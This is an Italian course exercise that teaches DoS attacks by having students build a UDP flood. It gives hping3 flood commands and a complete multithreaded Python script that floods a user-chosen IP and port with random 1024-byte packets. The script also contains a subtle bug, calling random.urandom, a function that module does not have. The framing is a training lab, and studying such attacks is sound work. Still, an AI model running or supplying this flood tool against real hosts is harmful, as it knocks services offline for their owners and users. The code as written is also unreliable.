

Traccia Esercizio:

Esercizio del Giorno (potete aiutarvi con ChatGPT)

Argomento: Attacchi DoS (Denial of Service) - Simulazione di un UDP Flood

Introduzione:

Gli attacchi di tipo DoS (Denial of Service) mirano a saturare le richieste di determinati servizi, rendendoli così indisponibili e causando significativi impatti sul business delle aziende.

Obiettivo dell'Esercizio:

Scrivere un programma in Python che simuli un UDP flood, ovvero l'invio massivo di richieste UDP verso una macchina target che è in ascolto su una porta UDP casuale.

Esecuzione:

Per confermare il funzionamento, aprire sulla macchina target TASK MANAGER o su Linux "**nc -ul -p INSERISCIORTA**" o "**sudo tcpdump -i eth0 udp and port INSERISCIORTA**"

Il risultato simile con **hping3** si ottiene con il comando:

sudo hping3 --udp --flood -p INSERISCIORTA -d 1024 INDIRIZZOIP

invia a tutte le porte fino alla 1024

hping3 --udp --flood -p ++1024 INDIRIZZOIP

Codice:

```

5  import socket
6  import random
7  import threading
8  import sys
9
10 # Chiede all'utente di inserire i parametri
11 target_ip = input("Inserisci l'indirizzo IP del target: ")
12
13 try:
14     target_port = int(input("Inserisci la porta UDP del target: "))
15     # Controllo che la porta sia un valore valido
16     if not 1 <= target_port <= 65535:
17         print("Errore: La porta deve essere un numero intero tra 1 e 65535.")
18         sys.exit(1)
19 except ValueError:
20     print("Errore: Inserisci un numero intero valido per la porta.")
21     sys.exit(1)
22
23 try:
24     num_threads = int(input("Inserisci il numero di thread: "))
25 except ValueError:
26     print("Errore: Inserisci un numero intero valido per i thread.")
27     sys.exit(1)
28
29 # Flag per controllare l'esecuzione dei thread
30 esecuzione = True
31
32 def udp_flood():
33     """
34     Funzione eseguita da ogni thread per inviare pacchetti UDP.
35     """
36     # Creazione di un socket UDP
37     sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
38
39     while esecuzione:
40         try:
41             # Crea un pacchetto di dati casuali di dimensioni casuali

```

```

42         packet_size = random.randint(1024, 1024)
43         random_data = random.urandom(packet_size)
44
45         # Invia il pacchetto UDP usando la porta specificata dall'utente
46         sock.sendto(random_data, (target_ip, target_port))
47
48     except socket.error as e:
49         # In caso di errore, esci dal ciclo del thread
50         break
51
52     sock.close()
53
54 if __name__ == "__main__":
55
56     print("-" * 50)
57     print(f"Avvio simulazione UDP flood su {target_ip}:{target_port} con {num_threads} thread...")
58     print("-" * 50)
59
60     threads = []
61     for _ in range(num_threads):
62         thread = threading.Thread(target=udp_flood)
63         thread.start()
64         threads.append(thread)
65
66     try:
67         # Attende che l'utente interrompa l'esecuzione con Ctrl+C
68         for thread in threads:
69             thread.join()
70     except KeyboardInterrupt:
71         print("\n\nSimulazione interrotta dall'utente. Sto terminando i thread...")
72         # Imposta il flag a False per fermare i thread
73         esecuzione = False
74
75         # Aspetta che i thread terminino in modo pulito
76         for thread in threads:
77             if thread.is_alive():
78                 thread.join()
79
80         print("\nSimulazione terminata.")
81         sys.exit(0)

```